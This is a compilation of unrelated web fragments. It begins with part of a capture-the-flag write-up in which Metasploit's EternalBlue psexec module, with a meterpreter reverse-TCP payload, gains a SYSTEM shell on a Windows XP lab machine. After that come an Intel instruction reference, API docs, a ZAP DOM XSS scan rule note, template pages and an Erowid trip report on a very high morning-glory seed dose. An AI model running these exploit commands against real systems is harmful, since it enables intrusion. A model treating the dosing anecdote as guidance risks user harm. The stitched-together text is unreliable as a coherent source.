[-] <IP_ADDRESS>:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=FAIL-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[-] <IP_ADDRESS>:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
But windows/smb/ms17_010_psexec
on the other hand was more successful!
msf5 exploit(windows/smb/ms17_010_psexec) > show options
Module options (exploit/windows/smb/ms17_010_psexec):
Name Current Setting Required Description
---- --------------- -------- -----------
DBGTRACE false yes Show extra debug trace info
LEAKATTEMPTS 99 yes How many times to try to leak transaction
NAMEDPIPE no A named pipe that can be connected to (leave blank for auto)
NAMED_PIPES /usr/share/metasploit-framework/data/wordlists/named_pipes.txt yes List of named pipes to check
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 445 yes The Target port (TCP)
SERVICE_DESCRIPTION no Service description to to be used on target for pretty listing
SERVICE_DISPLAY_NAME no The service display name
SERVICE_NAME no The service name
SHARE ADMIN$ yes The share to connect to, can be an admin share (ADMIN$,C$,...) or a normal read/write folder share
SMBDomain . no The Windows domain to use for authentication
SMBPass no The password for the specified username
SMBUser no The username to authenticate as
Payload options (windows/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC thread yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST <IP_ADDRESS> yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Automatic
msf5 exploit(windows/smb/ms17_010_psexec) > set LHOST <IP_ADDRESS>
LHOST => <IP_ADDRESS>
msf5 exploit(windows/smb/ms17_010_psexec) > set RHOSTS <IP_ADDRESS>
RHOSTS => <IP_ADDRESS>
msf5 exploit(windows/smb/ms17_010_psexec) > run
[*] Started reverse TCP handler on <IP_ADDRESS>:4444
[*] <IP_ADDRESS>:445 - Target OS: Windows 5.1
[*] <IP_ADDRESS>:445 - Filling barrel with fish... done
[*] <IP_ADDRESS>:445 - <---------------- | Entering Danger Zone | ---------------->
[*] <IP_ADDRESS>:445 - [*] Preparing dynamite...
[*] <IP_ADDRESS>:445 - [*] Trying stick 1 (x86)...Boom!
[*] <IP_ADDRESS>:445 - [+] Successfully Leaked Transaction!
[*] <IP_ADDRESS>:445 - [+] Successfully caught Fish-in-a-barrel
[*] <IP_ADDRESS>:445 - <---------------- | Leaving Danger Zone | ---------------->
[*] <IP_ADDRESS>:445 - Reading from CONNECTION struct at: 0x81e95808
[*] <IP_ADDRESS>:445 - Built a write-what-where primitive...
[+] <IP_ADDRESS>:445 - Overwrite complete... SYSTEM session obtained!
[*] <IP_ADDRESS>:445 - Selecting native target
[*] <IP_ADDRESS>:445 - Uploading payload... BMMJPltk.exe
[*] <IP_ADDRESS>:445 - Created \BMMJPltk.exe...
[+] <IP_ADDRESS>:445 - Service started successfully...
[*] Sending stage (176195 bytes) to <IP_ADDRESS>
[*] <IP_ADDRESS>:445 - Deleting \BMMJPltk.exe...
[*] Meterpreter session 2 opened (<IP_ADDRESS>:4444 -> <IP_ADDRESS>:1032) at 2020-10-14 15:43:53 -0400
And we got a Meterpreter session, awesome!
Post-Exploitation
I have 0 idea how to check for privileges on Windows XP :‘D
meterpreter > whoami /priv
[-] Unknown command: whoami.
Fortunately for us, meterpreter has a bunch of useful functions to help you! (type help
for the whole list):
getuid
will fix our lack of whoami
command:
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
Great, we are NT AUTHORITY\SYSTEM
!
And search
will get you those flags files:
meterpreter > search -d / -f *root.txt*
Found 1 result...
\Documents and Settings\Administrator\Desktop\root.txt (32 bytes)
meterpreter > search -f *user.txt*
Found 1 result...
c:\Documents and Settings\john\Desktop\user.txt (32 bytes)
You can also run an authentic CMD shell:
meterpreter > shell
Process 1696 created.
Channel 1 created.
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.
How can you check your privileges from that CMD? You can list the process and their users:
C:\>tasklist /V
tasklist /V
Image Name PID Session Name Session# Mem Usage Status User Name CPU Time Window Title
========================= ====== ================ ======== ============ =============== ================================================== ============ ========================================================================
System Idle Process 0 Console 0 28 K Running NT AUTHORITY\SYSTEM 0:34:48 N/A
System 4 Console 0 284 K Running NT AUTHORITY\SYSTEM 0:00:06 N/A
smss.exe 300 Console 0 388 K Running NT AUTHORITY\SYSTEM 0:00:00 N/A
csrss.exe 564 Console 0 3.096 K Running NT AUTHORITY\SYSTEM 0:00:00 N/A
winlogon.exe 656 Console 0 9.184 K Running NT AUTHORITY\SYSTEM 0:00:02 N/A
services.exe 700 Console 0 4.840 K Running NT AUTHORITY\SYSTEM 0:00:01 N/A
lsass.exe 720 Console 0 5.828 K Running NT AUTHORITY\SYSTEM 0:00:00 N/A
svchost.exe 880 Console 0 4.532 K Running NT AUTHORITY\SYSTEM 0:00:00 N/A
svchost.exe 956 Console 0 4.024 K Running NT AUTHORITY\NETWORK SERVICE 0:00:00 N/A
svchost.exe 1044 Console 0 21.316 K Running NT AUTHORITY\SYSTEM 0:00:03 SYSTEM AGENT COM WINDOW
svchost.exe 1100 Console 0 3.372 K Running NT AUTHORITY\NETWORK SERVICE 0:00:00 N/A
svchost.exe 1156 Console 0 4.188 K Running NT AUTHORITY\LOCAL SERVICE 0:00:00 N/A
logonui.exe 1232 Console 0 3.456 K Running NT AUTHORITY\SYSTEM 0:00:00 N/A
spoolsv.exe 1372 Console 0 4.356 K Running NT AUTHORITY\SYSTEM 0:00:00 N/A
VGAuthService.exe 1980 Console 0 8.912 K Running NT AUTHORITY\SYSTEM 0:00:00 N/A
vmtoolsd.exe 200 Console 0 13.680 K Running NT AUTHORITY\SYSTEM 0:00:00 N/A
alg.exe 536 Console 0 3.416 K Running NT AUTHORITY\LOCAL SERVICE 0:00:00 N/A
wmiprvse.exe 556 Console 0 7.984 K Running NT AUTHORITY\NETWORK SERVICE 0:00:05 N/A
logon.scr 444 Console 0 1.564 K Running NT AUTHORITY\SYSTEM 0:00:00 N/A
rundll32.exe 404 Console 0 7.564 K Running NT AUTHORITY\SYSTEM 0:00:00 N/A
cmd.exe 1696 Console 0 2.504 K Running NT AUTHORITY\SYSTEM 0:00:00 C:\WINDOWS\system32\cmd.exe - tasklist /V
tasklist.exe 1612 Console 0 4.080 K Running NT AUTHORITY\SYSTEM 0:00:00 OleMainThreadWndName
Our cmd.exe
is owned by NT AUTHORITY\SYSTEM
(well, we knew that already but it’s always nice to have consistency no?)
Okay, we are done here, we got 2 ways to root this machine! See you around awesome people!


| Opcode/Instruction | Op/En | 64/32-bit Mode | CPUID Feature Flag | Description |
|---|---|---|---|---|
| 66 0F 3A 0C /r ib BLENDPS xmm1, xmm2/m128, imm8 | RMI | V/V | SSE4_1 | Select packed single precision floating-point values from xmm1 and xmm2/m128 from mask specified in imm8 and store the values into xmm1. |
| VEX.128.66.0F3A.WIG 0C /r ib VBLENDPS xmm1, xmm2, xmm3/m128, imm8 | RVMI | V/V | AVX | Select packed single-precision floating-point values from xmm2 and xmm3/m128 from mask in imm8 and store the values in xmm1. |
| VEX.256.66.0F3A.WIG 0C /r ib VBLENDPS ymm1, ymm2, ymm3/m256, imm8 | RVMI | V/V | AVX | Select packed single-precision floating-point values from ymm2 and ymm3/m256 from mask in imm8 and store the values in ymm1. |
| Op/En | Operand 1 | Operand 2 | Operand 3 | Operand 4 |
| RMI | ModRM:reg (r, w) | ModRM:r/m (r) | imm8 | NA |
| RVMI | ModRM:reg (w) | VEX.vvvv (r) | ModRM:r/m (r) | imm8 |
Packed single-precision floating-point values from the second source operand (third operand) are conditionally merged with values from the first source operand (second operand) and written to the destination operand (first operand). The immediate bits [7:0] determine whether the corresponding single precision floating-point value in the destination is copied from the second source or first source. If a bit in the mask, corresponding to a word, is “1”, then the single-precision floating-point value in the second source operand is copied, else the value in the first source operand is copied.
128-bit Legacy SSE version: The second source can be an XMM register or an 128-bit memory location. The destination is not distinct from the first source XMM register and the upper bits (MAXVL-1:128) of the corresponding YMM register destination are unmodified.
VEX.128 encoded version: The first source operand an XMM register. The second source operand is an XMM register or 128-bit memory location. The destination operand is an XMM register. The upper bits (MAXVL-1:128) of the corresponding YMM register destination are zeroed.
VEX.256 encoded version: The first source operand is a YMM register. The second source operand can be a YMM register or a 256-bit memory location. The destination operand is a YMM register.

BLENDPS: __m128 _mm_blend_ps (__m128 v1, __m128 v2, const int mask);
VBLENDPS: __m256 _mm256_blend_ps (__m256 a, __m256 b, const int mask);
None
See Exceptions Type 4.


January 20, 2015
Just released is the RedMonk Programming Language Rankings for Q1 2015, you can find a link here.
Very interesting to note the methodology to calculate the ratings:
- To be included in this analysis, a language must be observable within both GitHub and Stack Overflow.
- No claims are made here that these rankings are representative of general usage more broadly. They are nothing more or less than an examination of the correlation between two populations we believe to be predictive of future use, hence their value.
- There are many potential communities that could be surveyed for this analysis. GitHub and Stack Overflow are used here first because of their size and second because of their public exposure of the data necessary for the analysis. We encourage, however, interested parties to perform their own analyses using other sources.
- All numerical rankings should be taken with a grain of salt. We rank by numbers here strictly for the sake of interest. In general, the numerical ranking is substantially less relevant than the language’s tier or grouping.
- In many cases, one spot on the list is not distinguishable from the next. The separation between language tiers on the plot, however, is generally representative of substantial differences in relative popularity.
- GitHub language rankings are based on raw lines of code, which means that repositories written in a given language that include a greater number amount of code in a second language (e.g. JavaScript) will be read as the latter rather than the former.
- In addition, the further down the rankings one goes, the less data available to rank languages by. Beyond the top tiers of languages, depending on the snapshot, the amount of data to assess is minute, and the actual placement of languages becomes less reliable the further down the list one proceeds.


The transaction history and all new incoming transactions are cached on this device. Resynchronizing with the server clears the cache and retrieves transaction history from the wallet service.


| Instance Variable |
mask |
Undocumented |
| Instance Variable |
optimize |
Undocumented |
| Instance Variable |
fix |
Undocumented |
| Method |
set_frame |
Changes effective range for most functions |
| Method |
get_frame |
Returns currently applied frame |
| Method |
shift_frame |
Shifts frame start and end |
| Method |
context_frame |
Saves current frame, sets new one, then restores old one back |
| Method |
exclude_symbol |
Excludes symbol from time series |
| Method |
include_symbol |
Includes symbol back to time series |
| Method |
get_symbols |
Returns all not excluded symbols |
| Method |
scale_mean |
Scales symbols to match first symbol's mean price inside frame |
| Method |
scale_running |
Scale symbols to match first symbol's running mean inside frame |
| Method |
scale_ols |
Scales all symbols using OLS regression with first symbol inside frame |
| Method |
get_raw_df |
Returns all data disregarding frame |
| Method |
get_framed_df |
Returns framed data |
| Method |
get_df |
Returns data |
| Method |
get_frame_iterator |
Iterates over time series shifting frame along the way |
| Method |
get_adf_test |
Tests series for stationarity |
| Method |
get_hurst_exponent |
Returns the Hurst Exponent of the time series vector ts |
| Method |
get_correlation |
Returns correlation between two symbols |
| Method |
get_autocorrelation |
Returns autocorrelation for one symbol |
| Method |
get_volatility |
Returns smoothed volatility of a chosen symbol |
| Method |
dropna |
Remove NaN values from dataframe |
| Method |
get_crosses |
Returns timestamps when specified value was crossed for given symbol |
| Method |
get_macd_diff |
Returns MACD indicator for selected symbol |
| Method |
get_percentile |
Returns percentile for one symbol in underlying data |
| Method |
set_pointer |
Sets pointer |
| Method |
get_pointer |
Returns pointer |
| Method |
get_last_timestamp |
Returns timestamp of last record |
| Method |
shift_pointer |
Shifts pointer |
| Method |
get_before_pointer |
Returns timeseries before current pointer with specified window |
| Method |
get_after_pointer |
Returns timeseries after current pointer with specified window |
| Method |
get_around_pointer |
Returns timeseries around current pointer with specified windows |
| Method |
get_trend |
Finds trend in timeseries and returns it |
| Method |
remove_trend |
Finds trend in timeseries and removes it from data |
| Method |
get_datetime_iterator |
Returns datetime iterator for current dataframe |
| Method |
resample |
Changes time step of timeseries, irreversible if inplace |
| Method |
get_triangle |
No summary |
| Method |
get_drop |
Returns drop according to provided logic |
| Method |
expect_one_symbol |
Raises Exception if no symbol is passed and timeseries has one or more symbol otherwise returns passed symbol, or that only symbol, that timeseries has |
| Method |
__setitem__ |
Updates/sets underlying data key by value |
| Method |
__getitem__ |
Returns new timeseries from underling's data item |
| Method |
__iter__ |
Creates iterator for underlying pandas data frame |
| Method |
__bool__ |
Undocumented |
| Method |
__str__ |
Represents underlying data as string |
| Method |
__len__ |
Length of underlying data |
| Method |
__mul__ |
Multiplies timeseries by timeseries, float, numpy array or pandas series/frame |
| Method |
__add__ |
Adds timeseries, float, numpy array or pandas series/frame to timeseries |
| Method |
__sub__ |
Subtract timeseries, float, numpy array or pandas series/frame from timeseries |
| Method |
__truediv__ |
Divides timeseries by timeseries, float, numpy array or pandas series/frame |
| Instance Variable |
_frame_start |
Undocumented |
| Instance Variable |
_frame_end |
Undocumented |
| Instance Variable |
__symbols |
Undocumented |
| Instance Variable |
_df |
Undocumented |
| Instance Variable |
_excluded_symbols |
Undocumented |
| Instance Variable |
_figure |
Undocumented |
| Instance Variable |
_pointer |
Undocumented |


An Active Scan rule for detecting DOM XSS vulnerabilities.
It launches browser windows and sends attack payloads to all of the relevant DOM elements.
As it launches browser windows it will take significantly longer than other (non browser based) rules.
This version only supports Firefox. It can be run with GUI or headless (default), it can be changed with
the rule rules.domxss.browserid
, via the Options 'Rule configuration' panel, with values
firefox
and firefox-headless
, respectively.
Future versions may support other browsers.
The following Attack Strengths are supported, and related directly to the number of attack payloads used for URL fragment injections (eg: http://example.com/index.html?foo=bar#injection):
The rule will only report one DOM XSS vulnerability per node, unless the LOW Alert threshold is used, in which case it will keep trying all of the specified payloads.


Full VR View |
About |
Animated Sample
** open this [ VIEWER'S LINK ] in different browsers for multiplayer experience **
Max Tsai's Voice Reality - Animate your 3D Objects in a Multi-Player VR World.
This project is to create a simple Voice-Actionable (speech recognition) Multi-players Virtual Reality Learning platform for Special Education students for enhancing learner experience thru Gamification.
VoiceReality project at Github


Zend Certified Engineer Professional Blog of Ed Smith
After much preparation, I earned my Zend Certified Engineer designation in PHP 5.3 yesterday. The test was fairly difficult, but to Zend's credit it did follow the manual and their training materials. That said, I was struck by how much the test questions were geared towards interpreting confusing code by hand-- code which would never have been written had best practices been followed. Nevertheless, if you are interested in this certification, I highly recommend Zend's recorded training, as there is no better preparation (unless of course you can memorize the PHP manual).
You will certainly learn a lot about the language if you pursue this designation. One of my favorite discoveries is that PHP interprets integers with a leading zero as octal numbers, and failing that, will return 0. For instance:
<?php
$a = 05; // 5
$b = 06; // 6
$c = 07; // 7
$d = 08; // 0, because there is no '8' in octal notation
Fun stuff which you'd never use unless you were preparing for a certification.


--- permalink: /download/3.x/index.html title: "Download Godot 3 - Godot Engine" description: "Download the latest stable version of the Godot Engine 3 for Linux, macOS, Windows, or Android" layout: default ---
If you are not being redirected automatically, click here.


Internship Logbook
Student Name:
[[INTERN.PRI_NAME]]
University:
[[EDU_PROVIDER.PRI_NAME]]
Host Company:
[[HOST_CPY.PRI_NAME]]
Date
Hours Worked
Task Details
Learnings


| From | String | The email adres that the email is sent from |
| Reply-To | String | The reply-to email adres |
| To | String | Recipient(s) of the email, multiple recipients are separated by a semi-colon |
| Cc | String | CC recipient(s) of the email, multiple recipients are separated by a semi-colon |
| Bcc | String | BCC recipient(s) of the email, multiple recipients are separated by a semi-colon |
| Subject | String | The subject of the email |
| Body | String | The body of the email |
Can be configured using setConnection(host, port, username, password)


Hi, this is a sample text with some lorem epsum text. My mobile number is<PHONE_NUMBER>6 My work is related to software development
Get Mobile Number
Get Mobile Number Match String
Get M Words
Is Ramu found?
Multi-Line Matching


[Erowid Note: 24 grams of morning glory seeds is considered an extremely high dose, see morning glory Dose Chart]
Mindset - Good mood, relaxed, relatively happy
Preparations - None
Prelude: Prior to this night, I had tried LSA once before. I had eaten 6.5 grams of Heavenly Blue Morning Glory seeds about 4 months before, and felt nothing other than a slight buzz and minor CEVs. On this night, my friends J and M and I were in the mood to 'trip', and we decided to try a larger dose of Morning Glory seeds. At ACE hardware, we acquired 4 5 gram packs of seeds each, giving us each a dose of 20 grams. When we arrived back at M's, we discovered that he had 6 2 gram packs of seeds left over from our previous purchase. Dividing these evenly between us, we each had a dose of 24 grams.
T+0: We began eating the seeds straight out of the pack. The package claimed that the seeds had not been sprayed/treated with chemicals in any way. This grew to be a daunting task, due to the hardness and horrible taste of the seeds.
T+30 min.: After half an hour of hardcore crunching and gagging, I had successfully ingested my seeds. M had given up after eating about 15 grams, but J had also finished all of his packs. I will now report what I wrote/had M write for me in a notebook during the experience.
T+1 hr.: Slight giddy and cold feeling felt. Also seeing visual disturbances, such as 'breathing' surfaces and light tie-dye colored patterns over my visual field.
T+2 hr.: Effects have GREATLY intensified. I now realize that I have taken far too large of a dose. My vision is completely obscured by the colorful patterns and objects that are constantly present. I am also having extreme stomach pains and feel like I have poisoned myself. I do not want to vomit, since I want to experience a strong trip on psychedelics.
T+4 hr.: Effects are even stronger. The nausea and stomach pain have been reduced, due to ingestion of 1 small hit of marijuana. I am now unable to comprehend reality. The trip is extremely pleasurable at this time, and I am enjoying it, despite the strength.
At T+5 hr.: We decided to attempt to go to sleep. This is when the trip took a turn for the worst and is 'When I Went Insane'. I will now resume commentary on major events I remember.
T+5 hr. 30 min.: While attempting to go to sleep, I noticed that the colors and visual patterns would NOT go away. If I closed my eyes, they simply grew more intense and brighter. My mind was racing, thinking thousand of conflicting thoughts every second. I began to become afraid that I had permanently 'fried my brain', and would never return to normal. I looked over at J, and exclaimed 'I NEED TO FIND REALITY!! WHERE IS REALITY?' He responded 'Same!' It appeared that he was in the same situation as I.
T+7 hr.: After living in my insane state for 2 hours, I began to adjust. The trip was plateau-ing at this time, and was still going strong. Since it was 3 A.M. and dark out, I didn't know that it was raining. I began to hear a noise. In my inebriated/altered state, it sounded like M was masturbating. I didn't want to look over at M to verify this, since I still felt somewhat nauseous and it would have caused me to vomit.
    STOP MASTURBATING!' He replied 'I'm not masturbating dude, it's raining.' I thought he was trying to trick me, so this comment just further angered me and aggravated my already shaken mindstate. I continued repeating 'Fuck you, M.
I finally fell asleep about 3 hours after this event occured. When I woke up at T+13, I was still tripping HARD. I had to go home, but didn't want to endanger myself and others by driving in that state.  I think I'm dead. Is this the afterlife?' and such things. After dropping off J at his house, mom asked me what I had done. At this time I had managed to hide my marijuana/hallucinogen use from her for 4 years. I told her that I had smoked too much weed and would be fine in a few hours.
As soon as I arrived at my house, I went to bed. I slept for 12 hours and woke up at 1 A.M. When I woke up, I had pretty much returned to baseline. However, I still had minor open eye visual patterns for 2 weeks after the ingestion, and, to this day, about a year and a half after ingestion, I can stll see faint visual disturbances if I stare at an object. These disturbances consist of seeing the 'breathing surfaces' phenomenon and seeing slight color patterns on the object.
Moral of the story - I am not trying to convince anyone to not take LSA or other hallucinogens. If you decide to try Morning Glory seeds, please have the common sense to take a moderate dose and not vastly overdo it like I did.
Experience Reports are the writings and opinions of the individual authors who submit them.
Some of the activities described are dangerous and/or illegal and none are recommended by Erowid.


|
Stone Mason
0.0.0
(A really bad) C++ Game Engine (that you should NOT use)
|
Configuration for StoneMason. Full of variables and macros you can tweak. Created by grant on 1/26/20. More...
Go to the source code of this file.
Namespaces | |
| stms | |
| Namespace containing everything StoneMason has to offer! (https://github.com/RotartsiORG/StoneMason) | |
Macros | |
| #define | __STONEMASON_CONFIG_HPP |
| Include guard. More... | |
| #define | STMS_ENABLE_LOGGING |
If not defined, all STMS_XXX log macros will resolve to nothing. Easily turn logging on/off. More... | |
| #define | STMS_ENABLE_OPENGL |
| Builds StoneMason with OpenGL support. The corresponding option in CMakeLists.txt must also be set. More... | |
| #define | STMS_ENABLE_VULKAN |
| Builds StoneMason with Vulkan support. The corresponding option in CMakeLists.txt must also be set. More... | |
Variables | |
| constexpr char | stms::versionString [] = "0.0.0-dev2020.07.23" |
| Full version string for this version of StoneMason. More... | |
| constexpr unsigned | stms::fullVersionNum = 4 |
| Raw version number, to be incremented every commit. More... | |
| constexpr unsigned | stms::maturity = 16 |
| This number represents the stability ("maturity") of this version. This will be subject to change. 16: development version, 32: alpha, 48: beta, 64: release candidate, 80: production, 96: LTS. More... | |
| constexpr short | stms::versionMajor = 0 |
| Major number (X.x.x) More... | |
| constexpr short | stms::versionMinor = 0 |
| Minor number (x.X.x) More... | |
| constexpr short | stms::versionMicro = 0 |
| Micro/Patch number (x.x.X) More... | |
| constexpr unsigned | stms::threadPoolWorkerDelayMs = 16 |
| Number of milliseconds thread pool worker threads wait before checking for a new task. Default=16 (62 Hz) More... | |
| constexpr bool | stms::logToLatestLog = true |
If true, write log output to latest.log More... | |
| constexpr bool | stms::logToUniqueFile = false |
If true, write log output to <logsDir>/<datetime>.log More... | |
| constexpr bool | stms::logToStdout = true |
| If true, write log output to stdout. More... | |
| constexpr char | stms::logsDir [] = "./stms_logs" |
| Directory for log output. There must NOT be a trailing slash. More... | |
| constexpr unsigned | stms::certAndCipherLen = 256 |
| Size of the string to allocate for logging OpenSSL certs and ciphers. More... | |
| constexpr int | stms::waitEventsSleepAmount = 4 |
Milliseconds to pause for on waitEvents so that newly connected clients are visible. More... | |
| constexpr int | stms::sslShutdownMaxRetries = 10 |
Maximum amount of times to retry SSL_shutdown (see OpenSSL docs) More... | |
| constexpr int | stms::minIoTimeout = 1000 |
| Minimum amount of time to wait for pending TLS IO (in milliseconds). More... | |
| constexpr int | stms::tcpListenBacklog = 8 |
The size of the TCP accept backlog. See man page for listen . More... | |
| constexpr int | stms::maxRecvLen = 16384 |
| The size (bytes) of the buffer to allocate for incoming TLS packets. RFC 8449. More... | |
| constexpr int | stms::secretCookieLen = 16 |
Length of DTLS cookie. See stms::secretCookie in ssl.hpp . More... | |
| constexpr bool | stms::enableExperimentalGlew = true |
| If true, allow experimental OpenGL driver features, useful for backwards/forward compatibility. More... | |
Configuration for StoneMason. Full of variables and macros you can tweak. Created by grant on 1/26/20.
| #define __STONEMASON_CONFIG_HPP |
Include guard.
| #define STMS_ENABLE_LOGGING |
If not defined, all STMS_XXX
log macros will resolve to nothing. Easily turn logging on/off.
| #define STMS_ENABLE_OPENGL |
Builds StoneMason with OpenGL support. The corresponding option in CMakeLists.txt must also be set.
| #define STMS_ENABLE_VULKAN |
Builds StoneMason with Vulkan support. The corresponding option in CMakeLists.txt must also be set.


We can generate little animals, youhou.
Surviving Yverdon
Send pranks
Accepting Jesus in our hearth
Not eating meat
© Copyrights Bolt. All Rights Reserved


Getting started¶
Prayas is currently only available at https://github.com/Avira/prayas.
Follow the instructions explained in the README.md
to install it.
Use prayas:
>>> from prayas import *
Learn prayas:
Read Bayesian A/B Testing for Business Decisions by Shafi Kamalbasha and Manuel J. A. Eugster (2020) for an explanation of the Bayesian methodology implemented in this package
Check out the Examples to see prayas in action


Bob! Look how beautiful this place is!
Oi.
Wanna Buy A Hat?
Water?
Scarf?
No Thank you.
No Thank you!
How about a rose for the bella?
Iced water! Iced water!
You will need this selfie stick!
Aggressive vendors are indeed frustrating...
Yet vendors don't have a choice to remain polite and quiet, once a proportion of them began to approach customers aggressively, monopolizing potential buyers.
A vicious cycle begins. Vendors are competing to be more and more aggressive, and tourists are having worse and worse experiences.
So, shall illegal street vendors be banned, once and for all?
Most vendors are new immigrants trying to make a living. They may not be eligible for other traditional, legal jobs.
Banning street vending would ultimately take away their major source of income.
What's more, it's not only the travellers who have a negative experience. Vendors don't like being ignored, dismissed, or scolded, either.
What is a way to make both parties happy?
I'M COOL WITH
JUST SIGHTSEEING
Here's a sticker tourists can buy from vendors at a
reasonable price. Probably around $1. It should be reusable.
Vendors won't talk to people with the sticker on, in the interest of saving time and energy. These people are very determined not to buy anything.
Statistically, vendors might make more money - people who would buy the stickers are unlikely to buy anything even if they were approached aggressively.
By selling stickers, vendors open up unexplored market, targetting at those who have zero chance of buying.
The "service" offered by stickers is the passive act of not approaching, which costs vendors nothing, and enables them with more free time to approach tourists who are indeed interested in buying.
Tourists on the other hand pay a small price for an undisturbed experience, which is priceless.
In conclusion, the sticker system would initiate a real win-win situation by freeing the constrained potential in both seller and buyer's market.
Moreover, behavioral-sociology-wise, an commual rule among vendors would quickly form, and vendors who still approach sticker-wearers will be punished by the community.
Looks like the sticker system is beneficial and self-sustaining!
Selfie stick! Best quality selfie stick!
Not cool!
--The End--


Drag the green and yellow squares somewhere on the blue area. Click on an empty space to toggle a wall on/off. Then click "Find path".
Note for IE users: The green and yellow square disappear after you drag them onto the board. I tried to make it work with IE, but life's to short. Blame Microsoft.


WE ARE
COMING BACK SOON
We're working on our new website! We will be ready in:
We're working on our new website! We will be ready in:
We invite you to go to an independent, unique and mysterious universe in which chaos coexists with ancient orders.
The #WOG universe contains one grandiose in scope and complexity galaxy, divided into 200 independent solar systems, in each of which the player can find 20 planets with unique characteristics and inhabitants.
The choice of the gamer has two options for the development of the plot: Combat and Peace. Regardless of the chosen scenarios for the development of the plot, you can independently model a unique race whose fighters will have unique skills.
Of course, the seizure of solar empires is impossible without excellent combat equipment: for this game #WOG offers gamers a wide selection of weapons and equipment, some of which can be bought for donations or received as a reward for the victory over the hostile civilization.
Phone: (0032) 495 68 73 95
Mobile: (0032) 495 68 73 95
<EMAIL_ADDRESS><EMAIL_ADDRESS>1/007 Ijzerstraat, Hoeilaart, Belgium


Hello! I'm Your name
About Me
write about yourself write about yourself write about yourself write about yourself write about yourself write about yourself write about yourself write about yourself write about yourself write about yourself write about yourself write about yourself write about yourself write about yourself write about yourself write about yourself write about yourself write about yourself write about yourself write about yourself
Education
Degree
educational information
Languages
Web Technology HTML | CSS | Javascript | PHP | MySql
Skills
Excellent interpersonal communications skills Time management skills
Project Work/Technical Skills
Web Development
work in various types of organizations,alone as freelancers. Web developed typically handle both server-side and front-end logic. This usually involves implementing all the visual elements that users see and use in the web applications or use, as well as all the web services that are necessary to power the usage of their developing work.
Web Designing
Designe may consider it to be good practice to conform to standards. This is usually done via a description specifying what the element is doing. Failure to conform to standards may not make a website unusable or error , but standards can relate to the correct layout of pages for readability as well making sure coded elements are closed appropriately.
Customer Service
Knowledge of customer service principles and practices Proper phone etiquette Honest, punctual, reliable and quick learner Ambitious and enthusiastic Excellent communication, typing and listening skills Delivers consistent and outstanding guest service through friendly attitude, attentive behaviour and strong product knowledge
Capturing customer requests, incidents, questions and problems. Look for opportunities to improve our business and elevate the customer experience. Answering phone calls, operating emails, writing letters. Proficient using excel, Microsoft Word, Mac OS. Communicate effectively with all staff members; verbally and written.
Skills
HTML
CSS
Javascript
PHP
MS OFFICE
Interest


Contact
Work
Portfolio
Home
Nagar Illustrations
Welcome to the world of madness !
UI/UX Design
Digtal Illustrations
Photography
Photoshop
After Effects
Typography
Web Designer
App Developer
Product Manager


Class JsonObject
Represents the json object.
Inheritance
Namespace:Dapplo.HttpExtensions
Assembly:Dapplo.HttpExtensions.dll
Syntax
public class JsonObject : DynamicObject, IDynamicMetaObjectProvider, IDictionary<string, object>, ICollection<KeyValuePair<string, object>>, IEnumerable<KeyValuePair<string, object>>, IEnumerable
Constructors
| Improve this Doc View SourceJsonObject()
Initializes a new instance of JsonObject.
Declaration
public JsonObject()
JsonObject(IEqualityComparer<String>)
Initializes a new instance of JsonObject.
Declaration
public JsonObject(IEqualityComparer<string> comparer)
Parameters
| Type | Name | Description |
|---|---|---|
| System.Collections.Generic.IEqualityComparer<System.String> | comparer | The System.Collections.Generic.IEqualityComparer`1 implementation to use when comparing keys, or null to use the default System.Collections.Generic.EqualityComparer`1 for the type of the key. |
Properties
| Improve this Doc View SourceCount
Gets the count.
Declaration
public int Count { get; }
Returns
| Type | Description |
|---|---|
| System.Int32 |
IsReadOnly
Gets a value indicating whether this instance is read only.
Declaration
public bool IsReadOnly { get; }
Returns
| Type | Description |
|---|---|
| System.Boolean |
Item[Int32]
Gets the System.Object at the specified index.
Declaration
public object this[int index] { get; }
Parameters
| Type | Name | Description |
|---|---|---|
| System.Int32 | index |
Returns
| Type | Description |
|---|---|
| System.Object |
Item[String]
Gets or sets the System.Object with the specified key.
Declaration
public object this[string key] { get; set; }
Parameters
| Type | Name | Description |
|---|---|---|
| System.String | key |
Returns
| Type | Description |
|---|---|
| System.Object |
Keys
Gets the keys.
Declaration
public ICollection<string> Keys { get; }
Returns
| Type | Description |
|---|---|
| System.Collections.Generic.ICollection<System.String> |
Values
Gets the values.
Declaration
public ICollection<object> Values { get; }
Returns
| Type | Description |
|---|---|
| System.Collections.Generic.ICollection<System.Object> |
Methods
| Improve this Doc View SourceAdd(KeyValuePair<String, Object>)
Adds the specified item.
Declaration
public void Add(KeyValuePair<string, object> item)
Parameters
| Type | Name | Description |
|---|---|---|
| System.Collections.Generic.KeyValuePair<System.String, System.Object> | item | The item. |
Add(String, Object)
Adds the specified key.
Declaration
public void Add(string key, object value)
Parameters
| Type | Name | Description |
|---|---|---|
| System.String | key | The key. |
| System.Object | value | The value. |
Clear()
Clears this instance.
Declaration
public void Clear()
Contains(KeyValuePair<String, Object>)
Determines whether [contains] [the specified item].
Declaration
public bool Contains(KeyValuePair<string, object> item)
Parameters
| Type | Name | Description |
|---|---|---|
| System.Collections.Generic.KeyValuePair<System.String, System.Object> | item | The item. |
Returns
| Type | Description |
|---|---|
| System.Boolean |
|
ContainsKey(String)
Determines whether the specified key contains key.
Declaration
public bool ContainsKey(string key)
Parameters
| Type | Name | Description |
|---|---|---|
| System.String | key | The key. |
Returns
| Type | Description |
|---|---|
| System.Boolean |
|
CopyTo(KeyValuePair<String, Object>[], Int32)
Copies to.
Declaration
public void CopyTo(KeyValuePair<string, object>[] array, int arrayIndex)
Parameters
| Type | Name | Description |
|---|---|---|
| System.Collections.Generic.KeyValuePair<System.String, System.Object>[] | array | The array. |
| System.Int32 | arrayIndex | Index of the array. |
GetDynamicMemberNames()
Returns the enumeration of all dynamic member names.
Declaration
public override IEnumerable<string> GetDynamicMemberNames()
Returns
| Type | Description |
|---|---|
